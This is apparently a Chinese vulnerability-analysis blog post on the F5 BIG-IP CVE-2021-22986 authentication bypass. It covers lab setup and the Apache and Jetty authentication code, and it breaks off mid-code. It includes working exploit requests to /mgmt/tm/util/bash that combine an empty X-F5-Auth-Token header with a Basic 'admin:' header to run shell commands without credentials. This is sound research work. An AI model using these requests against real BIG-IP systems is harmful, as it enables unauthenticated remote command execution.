F5 BIGIP CVE-2021-22986认证绕过漏洞分析

声明

出品|先知社区(ID: 1s1and)

以下内容,来自先知社区的1s1and作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

概述

官方信息:

https://support.f5.com/csp/article/K03009991

影响范围:

F5 BIGIP CVE-2021-22986认证绕过漏洞分析_第1张图片

作为java菜鸟,借此框架加深对java的理解以及各种分析手段的学习,推荐同样作为java新手的人可以看一看大佬可以直接跳过

环境搭建

在F5下载网站注册后可成功下载虚拟机版的镜像文件,我这里下载了16.0.0版本的虚拟机ovf,使用vmware可以直接导入

注意在注册账户的时候在国家选择的时候不要瞎选,我开始选了一个不知名的国家,在下载时候报错说软件禁运,不让下载,折腾了半天重新注册了一个账号才搞定。

官网提供F5 rest api说明文档,正常的访问web界面的诸多功能的话还需要一个有效的license key,但是这里为了调试漏洞不是很必须,所以省了这个步骤。

vmware导入ovf文件后会要求输入口令密码,默认是root/default,输入后会要求更改默认口令

进入后输入config可以更改虚拟机ip,我将虚拟机的ip更改为了172.16.113.247

打开web界面https://172.16.113.247即可使用admin/刚刚设置的密码登陆

漏洞复现

默认发送,会报401, Server为Apache

F5 BIGIP CVE-2021-22986认证绕过漏洞分析_第2张图片

给一个错误的Authorization认证头(为admin:的base64值),依然会报401, Server为Apache

F5 BIGIP CVE-2021-22986认证绕过漏洞分析_第3张图片

去掉Authorization认证头,加一个X-F5-Auth-Token认证头,依然报401,但是此时Server为Jetty

F5 BIGIP CVE-2021-22986认证绕过漏洞分析_第4张图片

然而,当两个头都存在的时候,认证会绕过并执行命令:

F5 BIGIP CVE-2021-22986认证绕过漏洞分析_第5张图片

通过这几个包的测试我们可以得出结论,当存在X-F5-Auth-Token头时,apache不检查basic认证头,jetty在检查时,只检查Authorization的用户名不检查密码,但是为什么会这样呢,尝试分析

分析

apache认证绕过漏洞分析

简单分析可以知道443是httpd开启的,其使用了apache 2.4.6框架

[root@localhost:NO LICENSE:Standalone] ~ # netstat -antp | grep :443
tcp6       0      0 :::443                  :::*                    LISTEN      
4795/httpd
[root@localhost:NO LICENSE:Standalone] ~ # httpd -v
Server version: BIG-IP 67.el7.centos.5.0.0.12 (customized Apache/2.4.6) (CentOS)
Server built:   Jun 23 2020 16:37:41

进入httpd配置目录/etc/httpd/

[root@localhost:NO LICENSE:Standalone] httpd # cd /etc/httpd/[root@localhost:NO LICENSE:Standalone] httpd # grep -r "/mgmt" ./*Binary file ./modules/mod_f5_auth_cookie.so matches
Binary file ./modules/mod_auth_pam.so matches
./run/config/httpd.conf:
./run/config/httpd.conf:RewriteRule ^/mgmt$ /mgmt/ [PT]./run/config/httpd.conf:RewriteRule ^/mgmt(/vmchannel/.*) $1 [PT]./run/config/httpd.conf:ProxyPass /mgmt/rpm !
./run/config/httpd.conf:ProxyPass /mgmt/job !
./run/config/httpd.conf:ProxyPass /mgmt/endpoint !
./run/config/httpd.conf:ProxyPass /mgmt/ http://localhost:8100/mgmt/ retry=0./run/config/httpd.conf:ProxyPassReverse /mgmt/ http://localhost:8100/mgmt/
./run/udev/data/n6:E:SYSTEMD_ALIAS=/sys/subsystem/net/devices/mgmt

打开https.conf,找到以下相关部分:

    # Access is restricted to traffic from 127.0.0.1
Require ip 127.0.0.1
Require ip 127.4.2.2    # This is an exact copy of the authentication settings of the document root.
# If a connection is attempted from anywhere but 127.*.*.*, then it will have
# to be authenticated.
# we control basic auth via this file...
    IncludeOptional /etc/httpd/conf/basic_auth*.conf
    AuthName "Enterprise Manager"
    AuthPAM_Enabled on
    AuthPAM_ExpiredPasswordsSupport on
require valid-user

RewriteEngine on
RewriteRule ^/mgmt$ /mgmt/ [PT]RewriteRule ^/mgmt(/vmchannel/.*) $1 [PT]# Don't proxy REST rpm endpoint requests.ProxyPass /mgmt/rpm !
ProxyPass /mgmt/job !
ProxyPass /mgmt/endpoint !# Proxy REST service bus requests.# We always retry so if we restart the REST service bus, Apache# will quickly re-discover it. (The default is 60 seconds.)# If you have retry timeout > 0, Apache timers may go awry# when clock is reset. It may never re-enable the proxy.ProxyPass /vmchannel/ http://localhost:8585/vmchannel/ retry=0ProxyPass /mgmt/ http://localhost:8100/mgmt/ retry=0

可以了解到请求/mgmt/相关url开启了AuthPAM_Enabled,启用auth会调用

/usr/lib/httpd/modules/mod_auth_pam.so判断鉴权,尝试逆向

/usr/lib/httpd/modules/mod_auth_pam.so文件。IDA中,将汇编统一解析为intel风格,mov dst source

参考Apache Hook机制解析(上)——钩子机制的实现apache的mod都是通过钩子实现的,逆向mod_auth_pam.so发现

int pam_register_hooks()
{
  ap_hook_check_authz(sub_5AF0, 0, 0, 20, 1);
return ap_hook_check_access_ex(sub_5AF0, 0, 0, 20, 1);
}

认证检查的具体代码都在sub_5AF0当中,这个函数很大,而且由于不知名原因不能反编译拿到伪代码,但是可以找到"X-F5-Auth-Token"的调用:

F5 BIGIP CVE-2021-22986认证绕过漏洞分析_第6张图片

由于代码量较大,看起来比较累,计划结合动态调试搞清楚逻辑,

由于apache默认的话会开启子进程来处理,调试进程这个有点麻烦,为了方便调试搞清楚apache认证绕过过程,以单线程的方式重启httpd

/usr/sbin/httpd -DTrafficShield -DAVRUI -DWebAccelerator -DSAM -X

通过查看指定进程号下的maps文件,即可知道mod_auth_pam.so的加载基地址

[root@localhost:NO LICENSE:Standalone] config # cat /proc/$(ps -ef |grep "/usr/sbin/httpd -D" | grep -v "grep" | awk '{print $2}')/maps | grep mod_auth_pam.so | grep r-xp
563aa000-563b7000 r-xp 00000000 fd:06 168436                             /usr/lib/httpd/modules/mod_auth_pam.so

在mod_auth_pam.so的loc_72D0地址处下断点,即hex(0x563aa000+0x72d0)=0x563b12d0

(gdb) b *0x563b12d0
Breakpoint 1 at 0x563b12d0

然后发送数据包(注意,这个数据包里面是没有X-F5-Auth-Token头的):

POST /mgmt/tm/util/bash HTTP/1.1
Host: 172.16.113.247
Authorization: Basic YWRtaW46
Connection: close
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

继续调试程序,当运行至0x563b12ee(即test eax, eax)时

0x563b12ee in ?? () from /etc/httpd/modules/mod_auth_pam.so
(gdb) i r $eax
eax            0x0      0

可以看出,从头里面取出X-F5-Auth-Token返回值为0,会继续运行,获取其它参数的值

F5 BIGIP CVE-2021-22986认证绕过漏洞分析_第7张图片

进而会使用从头Authorization中取到的值拿去loc_5f28做验证:

F5 BIGIP CVE-2021-22986认证绕过漏洞分析_第8张图片

自然,这里是通过不了认证的,会由apache返回登陆失败

然而,如果重新发一个存在X-F5-Auth-Token头的数据包:

POST /mgmt/tm/util/bash HTTP/1.1
Host: 172.16.113.247
X-F5-Auth-Token:
Connection: close
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

认证校验这里则会奇怪的绕过对其它头信息的获取及校验,直接扔给http://localhost:8100/mgmt/去做下一步操作

jetty认证绕过漏洞分析

前面已经分析清楚了,如果存在X-F5-Auth-Token则会绕过apache的认证机制,绕过之后,相关信息会被转发给local:8100来做下一步的处理,

查看一下8100是哪个程序在处理:

[root@localhost:NO LICENSE:Standalone] conf # netstat -antp | grep :8100tcp        1      0 127.0.0.1:55220         127.0.0.1:8100          CLOSE_WAIT  28239/httpd
tcp        1      0 127.0.0.1:49718         127.0.0.1:8100          CLOSE_WAIT  5406/icr_eventd
tcp        1      0 127.0.0.1:51758         127.0.0.1:8100          CLOSE_WAIT  28255/httpd
tcp        1      0 127.0.0.1:59548         127.0.0.1:8100          CLOSE_WAIT  28270/httpd
tcp        1      0 127.0.0.1:43864         127.0.0.1:8100          CLOSE_WAIT  28209/httpd
tcp        1      0 127.0.0.1:47692         127.0.0.1:8100          CLOSE_WAIT  24091/httpd
tcp6       0      0 127.0.0.1:8100          :::*                    LISTEN      21186/java
tcp6       0      0 127.0.0.1:8100          127.0.0.1:49718         FIN_WAIT2   21186/java[root@localhost:NO LICENSE:Standalone] cat /proc/21186/cmdline 
/usr/lib/jvm/jre/bin/java
-D java.util.logging.manager=com.f5.rest.common.RestLogManager
-D java.util.logging.config.file=/etc/restjavad.log.conf
-D log4j.defaultInitOverride=true-D org.quartz.properties=/etc/quartz.properties -Xss384k 
-XX:+PrintFlagsFinal
-D sun.jnu.encoding=UTF-8
-D file.encoding=UTF-8
-XX:+PrintGC -Xloggc:/var/log/restjavad-gc.log 
-XX:+UseGCLogFileRotation 
-XX:NumberOfGCLogFiles=2 -XX:GCLogFileSize=1M 
-XX:+PrintGCDateStamps 
-XX:+PrintGCTimeStamps 
-XX:MaxPermSize=72m -Xms96m -Xmx192m 
-XX:-UseLargePages 
-XX:StringTableSize=60013 -classpath :/usr/share/java/rest/f5.rest.adc.bigip.jar:/usr/share/java/rest/f5.rest.adc.shared.jar:/usr/share/java/rest/f5.rest.asm.jar:/usr/share/java/rest/f5.rest.icr.jar:/usr/share/java/rest/f5.rest.jar:/usr/share/java/rest/f5.rest.live-update.jar:/usr/share/java/rest/f5.rest.nsyncd.jar:/usr/share/java/rest/libs/axis-1.1.jar:/usr/share/java/rest/libs/bcpkix-1.59.jar:/usr/share/java/rest/libs/bcprov-1.59.jar:/usr/share/java/rest/libs/cal10n-api-0.7.4.jar:/usr/share/java/rest/libs/commonj.sdo-2.1.1.jar:/usr/share/java/rest/libs/commons-codec.jar:/usr/share/java/rest/libs/commons-discovery.jar:/usr/share/java/rest/libs/commons-exec-1.3.jar:/usr/share/java/rest/libs/commons-io-1.4.jar:/usr/share/java/rest/libs/commons-lang.jar:/usr/share/java/rest/libs/commons-lang3-3.2.1.jar:/usr/share/java/rest/libs/commons-logging.jar:/usr/share/java/rest/libs/concurrent-trees-2.5.0.jar:/usr/share/java/rest/libs/core4j-0.5.jar:/usr/share/java/rest/libs/eclipselink-2.4.2.jar:/usr/share/java/rest/libs/f5.asmconfig.jar:/usr/share/java/rest/libs/f5.rest.mcp.mcpj.jar:/usr/share/java/rest/libs/f5.rest.mcp.schema.jar:/usr/share/java/rest/libs/f5.soap.licensing.jar:/usr/share/java/rest/libs/federation.jar:/usr/share/java/rest/libs/gson-2.8.2.jar:/usr/share/java/rest/libs/guava-20.0.jar:/usr/share/java/rest/libs/httpasyncclient.jar:/usr/share/java/rest/libs/httpclient.jar:/usr/share/java/rest/libs/httpcore-nio.jar:/usr/share/java/rest/libs/httpcore.jar:/usr/share/java/rest/libs/httpmime.jar:/usr/share/java/rest/libs/icrd-src.jar:/usr/share/java/rest/libs/icrd.jar:/usr/share/java/rest/libs/jackson-annotations-2.9.5.jar:/usr/share/java/rest/libs/jackson-core-2.9.5.jar:/usr/share/java/rest/libs/jackson-databind-2.9.5.jar:/usr/share/java/rest/libs/jackson-dataformat-yaml-2.9.5.jar:/usr/share/java/rest/libs/javax.persistence-2.1.1.jar:/usr/share/java/rest/libs/javax.servlet-api.jar:/usr/share/java/rest/libs/jaxrpc-1.1.jar:/usr/share/java/rest/libs/jetty-all.jar:/usr/share/java/rest/libs/joda-time-2.9.9.jar:/usr/share/java/rest/libs/jsch-0.1.53.jar:/usr/share/java/rest/libs/json_simple.jar:/usr/share/java/rest/libs/jsr311-api-1.1.1.jar:/usr/share/java/rest/libs/libthrift.jar:/usr/share/java/rest/libs/log4j.jar:/usr/share/java/rest/libs/lucene-analyzers-common-4.10.4.jar:/usr/share/java/rest/libs/lucene-core-4.10.4.jar:/usr/share/java/rest/libs/lucene-facet-4.10.4.jar:/usr/share/java/rest/libs/odata4j-0.7.0-core.jar:/usr/share/java/rest/libs/quartz-2.2.1.jar:/usr/share/java/rest/libs/slf4j-api.jar:/usr/share/java/rest/libs/slf4j-ext-1.6.3.jar:/usr/share/java/rest/libs/slf4j-log4j12.jar:/usr/share/java/rest/libs/snakeyaml-1.18.jar:/usr/share/java/rest/libs/swagger-annotations-1.5.19.jar:/usr/share/java/rest/libs/swagger-core-1.5.19.jar:/usr/share/java/rest/libs/swagger-models-1.5.19.jar:/usr/share/java/rest/libs/swagger-parser-1.0.35.jar:/usr/share/java/rest/libs/validation-api-1.1.0.Final.jar:/usr/share/java/rest/libs/wsdl4j-1.1.jar:/usr/share/java/f5-avr-reporter-api.jar com.f5.rest.workers.RestWorkerHost 
--port=8100 --outboundConnectionTimeoutSeconds=60 --icrdConnectionTimeoutSeconds=60 --workerJarDirectory=/usr/share/java/rest 
--configIndexDirectory=/var/config/rest/index 
--storageDirectory=/var/config/rest/storage 
--storageConfFile=/etc/rest.storage.BIG-IP.conf 
--restPropertiesFiles=/etc/rest.common.properties,/etc/rest.BIG-IP.properties 
--machineId=ff716f6f-1be0-4de5-8ca8-17beb749e271

我看到基本都是/usr/share/java/rest/这个目录下的jar包,所以偷个懒把/usr/share/java/rest/目录下的所有jar包反编译

由漏洞复现中的数据包我们可以大概猜测,X-F5-Auth-Token绕过了apache认证,那Authorization: Basic YWRtaW46应该绕过了java这里的认证

由于在Authorization这里我们只是放了admin:的base64的值,所以猜测java这里并没有去真正的校验密码,只是检查了一下用户名,所以在看java时候,我们也可以有挑选的去找我们的切入点,从Authorization开始下手

动态调试:通过以下方式可以得知进程运行目录为 /var/service/restjavad

[root@localhost:NO LICENSE:Standalone] config # ls -al /proc/21186/total 0dr-xr-xr-x.   9 root root 0 May 16 08:17 .
dr-xr-xr-x. 300 root root 0 May 16 07:23 ..
dr-xr-xr-x.   2 root root 0 May 16 16:51 attr
-rw-r--r--.   1 root root 0 May 16 16:51 autogroup
-r--------.   1 root root 0 May 16 16:51 auxv
-r--r--r--.   1 root root 0 May 16 16:51 cgroup
--w-------.   1 root root 0 May 16 16:51 clear_refs
-r--r--r--.   1 root root 0 May 16 09:05 cmdline
-rw-r--r--.   1 root root 0 May 16 16:51 comm
-rw-r--r--.   1 root root 0 May 16 16:51 coredump_filter
-r--r--r--.   1 root root 0 May 16 16:51 cpuset
lrwxrwxrwx.   1 root root 0 May 16 16:51 cwd -> /var/service/restjavad
-r--------.   1 root root 0 May 16 16:51 environ
lrwxrwxrwx.   1 root root 0 May 16 16:51 exe -> /usr/java/java-1.7.0-openjdk/jre-abrt/bin/java
dr-x------.   2 root root 0 May 16 16:51 fd
dr-x------.   2 root root 0 May 16 16:51 fdinfo
-rw-r--r--.   1 root root 0 May 16 16:51 gid_map
-r--------.   1 root root 0 May 16 16:51 io
-r--r--r--.   1 root root 0 May 16 16:51 limits
-rw-r--r--.   1 root root 0 May 16 16:51 loginuid
dr-x------.   2 root root 0 May 16 16:51 map_files
-r--r--r--.   1 root root 0 May 16 16:51 maps
-rw-------.   1 root root 0 May 16 16:51 mem
-r--r--r--.   1 root root 0 May 16 16:51 mountinfo
-r--r--r--.   1 root root 0 May 16 16:51 mounts
-r--------.   1 root root 0 May 16 16:51 mountstats
dr-xr-xr-x.   6 root root 0 May 16 16:51 net
dr-x--x--x.   2 root root 0 May 16 16:51 ns
-r--r--r--.   1 root root 0 May 16 16:51 numa_maps
-rw-r--r--.   1 root root 0 May 16 16:51 oom_adj
-r--r--r--.   1 root root 0 May 16 16:51 oom_score
-rw-r--r--.   1 root root 0 May 16 16:51 oom_score_adj
-r--r--r--.   1 root root 0 May 16 16:51 pagemap
-r--r--r--.   1 root root 0 May 16 16:51 personality
-rw-r--r--.   1 root root 0 May 16 16:51 projid_map
lrwxrwxrwx.   1 root root 0 May 16 16:51 root -> /
-rw-r--r--.   1 root root 0 May 16 16:51 sched
-r--r--r--.   1 root root 0 May 16 16:51 schedstat
-r--r--r--.   1 root root 0 May 16 16:51 sessionid
-rw-r--r--.   1 root root 0 May 16 16:51 setgroups
-r--r--r--.   1 root root 0 May 16 16:51 smaps
-r--r--r--.   1 root root 0 May 16 16:51 stack
-r--r--r--.   1 root root 0 May 16 09:04 stat
-r--r--r--.   1 root root 0 May 16 09:04 statm
-r--r--r--.   1 root root 0 May 16 09:03 status
-r--r--r--.   1 root root 0 May 16 16:51 syscall
dr-xr-xr-x.  43 root root 0 May 16 16:51 task
-r--r--r--.   1 root root 0 May 16 16:51 timers
-rw-r--r--.   1 root root 0 May 16 16:51 uid_map
-r--r--r--.   1 root root 0 May 16 16:51 wchan
[root@localhost:NO LICENSE:Standalone] restjavad # ls -al /var/service/restjavadtotal 20drwxr-xr-x.   5 root root 4096 May 16 07:24 .
drwxr-xr-x. 107 root root 4096 Jun 23  2020 ..
drwxr-xr-x.   2 root root 4096 Jun 23  2020 deps
drwxr-xr-x.   2 root root 4096 Jun 23  2020 requires
lrwxrwxrwx.   1 root root   31 Jun 23  2020 run -> /etc/bigstart/scripts/restjavad
drwx------.   2 root root 4096 May 16 07:27 supervise

修改run文件,即/etc/bigstart/scripts/restjavad

增加一行

JVM_OPTIONS+=" -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777"

同时,利用 tmsh 将jdwp监听端口8777开放出去

[root@localhost:NO LICENSE:Standalone] / # tmsh
root@(localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos)# security firewall
root@(localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos.security.firewall)# modify management-ip-rules rules add { allow-access-8777 { action accept destination { ports add { 8777 } } ip-protocol tcp place-before first } }

然后直接杀掉这个进程,会自动重启并开放8777调试端口,根据

[root@localhost:NO LICENSE:Standalone] cat /proc/21186/cmdline 
/usr/lib/jvm/jre/bin/java
-D java.util.logging.manager=com.f5.rest.common.RestLogManager
-D java.util.logging.config.file=/etc/restjavad.log.conf
-D log4j.defaultInitOverride=true-D org.quartz.properties=/etc/quartz.properties -Xss384k 
-XX:+PrintFlagsFinal
-D sun.jnu.encoding=UTF-8
-D file.encoding=UTF-8 
-XX:+PrintGC -Xloggc:/var/log/restjavad-gc.log 
-XX:+UseGCLogFileRotation 
-XX:NumberOfGCLogFiles=2 -XX:GCLogFileSize=1M 
-XX:+PrintGCDateStamps 
-XX:+PrintGCTimeStamps 
-XX:MaxPermSize=72m -Xms96m -Xmx192m 
-XX:-UseLargePages 
-XX:StringTableSize=60013 -classpath :/usr/share/java/rest/f5.rest.adc.bigip.jar:/usr/share/java/rest/f5.rest.adc.shared.jar:/usr/share/java/rest/f5.rest.asm.jar:/usr/share/java/rest/f5.rest.icr.jar:/usr/share/java/rest/f5.rest.jar:/usr/share/java/rest/f5.rest.live-update.jar:/usr/share/java/rest/f5.rest.nsyncd.jar:/usr/share/java/rest/libs/axis-1.1.jar:/usr/share/java/rest/libs/bcpkix-1.59.jar:/usr/share/java/rest/libs/bcprov-1.59.jar:/usr/share/java/rest/libs/cal10n-api-0.7.4.jar:/usr/share/java/rest/libs/commonj.sdo-2.1.1.jar:/usr/share/java/rest/libs/commons-codec.jar:/usr/share/java/rest/libs/commons-discovery.jar:/usr/share/java/rest/libs/commons-exec-1.3.jar:/usr/share/java/rest/libs/commons-io-1.4.jar:/usr/share/java/rest/libs/commons-lang.jar:/usr/share/java/rest/libs/commons-lang3-3.2.1.jar:/usr/share/java/rest/libs/commons-logging.jar:/usr/share/java/rest/libs/concurrent-trees-2.5.0.jar:/usr/share/java/rest/libs/core4j-0.5.jar:/usr/share/java/rest/libs/eclipselink-2.4.2.jar:/usr/share/java/rest/libs/f5.asmconfig.jar:/usr/share/java/rest/libs/f5.rest.mcp.mcpj.jar:/usr/share/java/rest/libs/f5.rest.mcp.schema.jar:/usr/share/java/rest/libs/f5.soap.licensing.jar:/usr/share/java/rest/libs/federation.jar:/usr/share/java/rest/libs/gson-2.8.2.jar:/usr/share/java/rest/libs/guava-20.0.jar:/usr/share/java/rest/libs/httpasyncclient.jar:/usr/share/java/rest/libs/httpclient.jar:/usr/share/java/rest/libs/httpcore-nio.jar:/usr/share/java/rest/libs/httpcore.jar:/usr/share/java/rest/libs/httpmime.jar:/usr/share/java/rest/libs/icrd-src.jar:/usr/share/java/rest/libs/icrd.jar:/usr/share/java/rest/libs/jackson-annotations-2.9.5.jar:/usr/share/java/rest/libs/jackson-core-2.9.5.jar:/usr/share/java/rest/libs/jackson-databind-2.9.5.jar:/usr/share/java/rest/libs/jackson-dataformat-yaml-2.9.5.jar:/usr/share/java/rest/libs/javax.persistence-2.1.1.jar:/usr/share/java/rest/libs/javax.servlet-api.jar:/usr/share/java/rest/libs/jaxrpc-1.1.jar:/usr/share/java/rest/libs/jetty-all.jar:/usr/share/java/rest/libs/joda-time-2.9.9.jar:/usr/share/java/rest/libs/jsch-0.1.53.jar:/usr/share/java/rest/libs/json_simple.jar:/usr/share/java/rest/libs/jsr311-api-1.1.1.jar:/usr/share/java/rest/libs/libthrift.jar:/usr/share/java/rest/libs/log4j.jar:/usr/share/java/rest/libs/lucene-analyzers-common-4.10.4.jar:/usr/share/java/rest/libs/lucene-core-4.10.4.jar:/usr/share/java/rest/libs/lucene-facet-4.10.4.jar:/usr/share/java/rest/libs/odata4j-0.7.0-core.jar:/usr/share/java/rest/libs/quartz-2.2.1.jar:/usr/share/java/rest/libs/slf4j-api.jar:/usr/share/java/rest/libs/slf4j-ext-1.6.3.jar:/usr/share/java/rest/libs/slf4j-log4j12.jar:/usr/share/java/rest/libs/snakeyaml-1.18.jar:/usr/share/java/rest/libs/swagger-annotations-1.5.19.jar:/usr/share/java/rest/libs/swagger-core-1.5.19.jar:/usr/share/java/rest/libs/swagger-models-1.5.19.jar:/usr/share/java/rest/libs/swagger-parser-1.0.35.jar:/usr/share/java/rest/libs/validation-api-1.1.0.Final.jar:/usr/share/java/rest/libs/wsdl4j-1.1.jar:/usr/share/java/f5-avr-reporter-api.jar com.f5.rest.workers.RestWorkerHost 
--port=8100 --outboundConnectionTimeoutSeconds=60 --icrdConnectionTimeoutSeconds=60 --workerJarDirectory=/usr/share/java/rest 
--configIndexDirectory=/var/config/rest/index 
--storageDirectory=/var/config/rest/storage 
--storageConfFile=/etc/rest.storage.BIG-IP.conf 
--restPropertiesFiles=/etc/rest.common.properties,/etc/rest.BIG-IP.properties 
--machineId=ff716f6f-1be0-4de5-8ca8-17beb749e271

可知,主类为com.f5.rest.workers.RestWorkerHost

在idea按两下shift搜索RestWorkerHost即可搜到文件RestWorkerHost.class

经过大佬指点,我把/usr/share/java/rest目录下面的jar包全部反编译,然后用VS Code打开审计

先看一下RestWorkerHost.java,从其中main函数开始向下审计

public static void main(String[] args) throws Exception {
      Thread.setDefaultUncaughtExceptionHandler(DieOnUncaughtErrorHandler.getHandler());
      CommandArgumentParser.parse(RestWorkerHost.class, args);

try {
         host = new RestWorkerHost();
         host.start();
      } catch (Exception var5) {
         LOGGER.severe(RestHelper.throwableStackToString(var5));
      } finally {
         Thread.sleep(1000L);
         System.exit(1);
      }

   }

实例化了一个RestWorkerHost对象,然后调用start函数

void start() throws Exception {
  ...
this.server = new RestServer(port);
  ...
this.server.start();
  ...
  }

在start函数中,实例化了一个RestServer对象server,然后调用start函数,在这里一定不要急着去看RestServer类的start函数,先看看RestServer这个类的构造函数

public RestServer(int port) {
this(port, new JettyHost());
   }

public RestServer(int port, JettyHost jettyHost) {
this.pathToWorkerMap = new ConcurrentSkipListMap();
this.workerToCollectionPathsMap = new ConcurrentSkipListMap();
this.checkRestWorkerShutdownMillis = (int)TimeUnit.MINUTES.toMillis(1L);
this.supportWorkersStarted = false;
this.allowStackTracesInPublicResponse = false;
this.storageUri = null;
this.configIndexUri = null;
this.groupResolverUri = null;
this.deviceResolverUri = null;
this.forwarderUri = null;
this.machineId = null;
this.discoveryAddress = null;
this.scheduleTaskManager = (new ScheduleTaskManager()).setLogger(LOGGER);
this.readyWorkerSet = new ConcurrentSkipListSet();
this.indexRebuildCoordinator = new RunnableCoordinator(1);
this.forwardRequestValidator = null;
if (port < 0) {
throw new IllegalArgumentException("port");
        } else {
this.listenPort = port;
this.jettyHost = jettyHost;
this.processRequestsTask = new Runnable() {
public void run() {
                    RestServer.this.processQueuedRequests();
                }
            };
        }
    }

可以看出,这里又会实例化一个JettyHost对象,然后我们再去看RestServer类的start函数

public int start() throws Exception {   ......         this.listenPort = this.jettyHost.start(this.listenPort, RestWorkerHost.isPublic, this.extraConfig);   ......   }

可以看出又会去调用jettyHost这个对象的start函数,JettyHost这个类没有构造函数,我们直接去看JettyHost这个类的start函数

public int start(int port, boolean isPublic, com.f5.rest.app.JettyHost.ExtraConfig extraConfig) throws Exception {
   ......
      ServletContextHandler contextHandler = new ServletContextHandler();
      contextHandler.setContextPath("/");
      ServletHolder asyncHolder = contextHandler.addServlet(RestServerServlet.class, "/*");
      asyncHolder.setAsyncSupported(true);
      handlers.addHandler(contextHandler);
   ......
   }

可以看出,针对性的处理的代码位于RestServerServlet中,找到了对应处理的servlet,其实就很简单了,剩下的工作就去研究servlet里面的内容就好了,主要逻辑都在其中,由于其继承了HttpServlet,所以我们直接看重载的service函数

protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
final AsyncContext context = req.startAsync();
        context.start(new Runnable() {
public void run() {
                RestOperation op = null;

try {
                    op = RestServerServlet.this.createRestOperationFromServletRequest((HttpServletRequest)context.getRequest());
                    ......
                    }
                } catch (Exception var4) {
                    ......
                }

                op.setCompletion(new RestRequestCompletion() {
public void completed(RestOperation operation) {
                        RestServerServlet.sendRestOperation(context, operation);
                    }

public void failed(Exception ex, RestOperation operation) {
                        RestServerServlet.failRequest(context, operation, ex, operation.getStatusCode());
                    }
                });

try {
                    ServletInputStream inputStream = context.getRequest().getInputStream();
                    inputStream.setReadListener(RestServerServlet.this.new ReadListenerImpl(context, inputStream, op));
                } catch (IOException var3) {
                    RestServerServlet.failRequest(context, op, var3, 500);
                }

            }
        });
    }

其中,createRestOperationFromServletRequest针对 http包头做了一些处理,但是我们关注的是根据request的处理动作,所以我们需要聚焦于setReadListener,去看看ReadListenerImpl的处理,根据ReadListener接口文档,我们直接看ReadListenerImpl这个类实现的onAllDataRead函数

public void onAllDataRead() throws IOException {
if (this.outputStream != null) {
if (this.operation.getContentType() == null) {
this.operation.setIncomingContentType("application/json");
                }

if (RestHelper.contentTypeUsesBinaryBody(this.operation.getContentType())) {
                    byte[] binaryBody = this.outputStream.toByteArray();
this.operation.setBinaryBody(binaryBody, this.operation.getContentType());
                } else {
                    String body = this.outputStream.toString(StandardCharsets.UTF_8.name());
this.operation.setBody(body, this.operation.getContentType());
                }
            }

            RestOperationIdentifier.setIdentityFromAuthenticationData(this.operation, new Runnable() {
public void run() {
if (!RestServer.trySendInProcess(ReadListenerImpl.this.operation)) {
                        RestServerServlet.failRequest(ReadListenerImpl.this.context, ReadListenerImpl.this.operation, new RestWorkerUriNotFoundException(ReadListenerImpl.this.operation.getUri().toString()), 404);
                    }

                }
            });
            RestServer.trace(this.operation);
        }

其中,第一个if判断是处理包的content-type头信息,不是很重要,看后边setIdentityFromAuthenticationData这个方法:

public static void setIdentityFromAuthenticationData(RestOperation request, Runnable completion) {
if (!setIdentityFromDeviceAuthToken(request, completion)) {
if (setIdentityFromF5AuthToken(request)) {
                completion.run();
            } else if (setIdentityFromBasicAuth(request)) {
                completion.run();
            } else {
                completion.run();
            }
        }
    }

看一下if里面的判断setIdentityFromDeviceAuthToken, 会检查包头里面有没有em_server_auth_token,没有则返回false,我们这里没有,所以直接返回false

然后会进入setIdentityFromF5AuthToken方法

private static boolean setIdentityFromF5AuthToken(RestOperation request) {
        AuthTokenItemState token = request.getXF5AuthTokenState();
if (token == null) {
return false;
        } else {
            request.setIdentityData(token.userName, token.user, AuthzHelper.toArray(token.groupReferences));
return true;
        }
    }

由于我们并没有设置X-F5-Auth-Token的值,所以此处返回token是null,直接返回false

自然,后边就会进入setIdentityFromBasicAuth方法

private static boolean setIdentityFromBasicAuth(RestOperation request) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
        } else {
            BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
            request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
return true;
        }
    }

由于我们设置了Authorization的值,所以authHeader的值为YWRtaW46,进入setIdentityData

public RestOperation setIdentityData(String userName, RestReference userReference, RestReference[] groupReferences) {
if (userName == null && !RestReference.isNullOrEmpty(userReference)) {
String segment = UrlHelper.getLastPathSegment(userReference.link);
if (userReference.link.equals(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[]{WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, segment})))) {
                userName = segment;
            }
        }

if (userName != null && RestReference.isNullOrEmpty(userReference)) {
            userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[]{WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName})));
        }

this.identityData = new RestOperation.IdentityData();
this.identityData.userName = userName;
this.identityData.userReference = userReference;
this.identityData.groupReferences = groupReferences;
return this;
    }

这里会根据Authorization头的值解码获得的username生成一个新的userReference,到底怎么根据用户名生成的reference其实我们也不需要太过深究,动态调试知道是这么个结构就可以了:

F5 BIGIP CVE-2021-22986认证绕过漏洞分析_第9张图片

这一步完了之后,再回顾setIdentityFromAuthenticationData

public static void setIdentityFromAuthenticationData(RestOperation request, Runnable completion) {
if (!setIdentityFromDeviceAuthToken(request, completion)) {
if (setIdentityFromF5AuthToken(request)) {
                completion.run();
            } else if (setIdentityFromBasicAuth(request)) {
                completion.run();
            } else {
                completion.run();
            }
        }
    }

调用completion.run(),这个函数在调用函数onAllDataRead中规定好了

public void onAllDataRead() throws IOException {
if (this.outputStream != null) {
if (this.operation.getContentType() == null) {
this.operation.setIncomingContentType("application/json");
        }

if (RestHelper.contentTypeUsesBinaryBody(this.operation.getContentType())) {
            byte[] binaryBody = this.outputStream.toByteArray();
this.operation.setBinaryBody(binaryBody, this.operation.getContentType());
        } else {
            String body = this.outputStream.toString(StandardCharsets.UTF_8.name());
this.operation.setBody(body, this.operation.getContentType());
        }
    }

